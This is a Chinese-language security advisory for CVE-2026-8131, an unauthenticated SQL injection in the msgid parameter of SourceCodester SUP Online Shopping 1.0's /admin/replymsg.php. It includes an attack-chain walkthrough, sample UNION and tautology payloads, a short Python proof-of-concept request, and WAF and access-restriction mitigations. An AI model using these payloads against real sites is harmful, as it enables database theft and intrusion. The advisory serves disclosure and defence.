IPBUF安全漏洞报告
English
CVE-2026-8131 CVSS 7.3 高危

CVE-2026-8131 SourceCodester SUP Online Shopping SQL注入漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-8131
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester SUP Online Shopping

相关标签

SQL注入CVE-2026-8131SourceCodesterWeb安全高危漏洞

漏洞概述

SourceCodester SUP Online Shopping 1.0版本被披露存在一处高危SQL注入漏洞。该漏洞源于/admin/replymsg.php文件中对用户输入的msgid参数缺乏有效的安全过滤,导致攻击者能够通过构造特殊的恶意请求执行任意SQL语句。由于该漏洞无需身份验证且可远程利用,攻击者可借此窃取数据库中的敏感信息、篡改数据或破坏系统可用性。鉴于相关利用代码已公开,建议受影响用户尽快采取措施进行修复。

技术细节

该漏洞的根本原因在于应用程序在处理/admin/replymsg.php接口请求时,直接将用户提交的GET或POST参数msgid拼接到SQL查询语句中,未使用参数化查询或进行严格的输入校验。攻击者可以通过在msgid参数中注入SQL控制字符(如单引号)和恶意SQL语法(如UNION SELECT),欺骗后端数据库执行非预期的命令。由于CVSS评分为7.3,且攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需权限(PR:N)和用户交互(UI:N),这使得该漏洞极易被自动化工具或脚本利用,导致数据库内容泄露。

攻击链分析

STEP 1
1. 信息收集
攻击者通过网络扫描或搜索引擎发现目标站点正在运行SourceCodester SUP Online Shopping 1.0,并定位到/admin/replymsg.php接口。
STEP 2
2. 构造恶意载荷
攻击者针对msgid参数构造SQL注入Payload(例如:1' UNION SELECT user(), version()--),旨在探测数据库结构或提取敏感数据。
STEP 3
3. 发送攻击请求
攻击者向目标服务器发送包含恶意Payload的HTTP POST或GET请求至/admin/replymsg.php。
STEP 4
4. 执行注入与数据泄露
后端数据库解析并执行了恶意SQL语句,将查询结果(如管理员密码哈希、用户信息等)返回给攻击者,或者攻击者利用该漏洞进一步写入WebShell。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://example.com/admin/replymsg.php" # Vulnerable parameter: msgid # SQL Injection payload to test the vulnerability # This payload attempts to perform a boolean-based blind injection or error-based injection payload_data = { "msgid": "1' OR '1'='1" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: # Sending POST request to the vulnerable endpoint response = requests.post(target_url, data=payload_data, headers=headers, timeout=10) # Check if the request was successful if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text[:500]) # Print first 500 chars of response for analysis else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

影响范围

SourceCodester SUP Online Shopping 1.0

防御指南

临时缓解措施
在未获得官方补丁前,建议暂时禁用受影响的功能模块(即关闭/admin/replymsg.php文件的对外访问权限),或通过反向代理/WAF过滤针对msgid参数的单引号、注释符(--、#)及UNION、SELECT等SQL关键字,仅允许白名单字符通过。

参考链接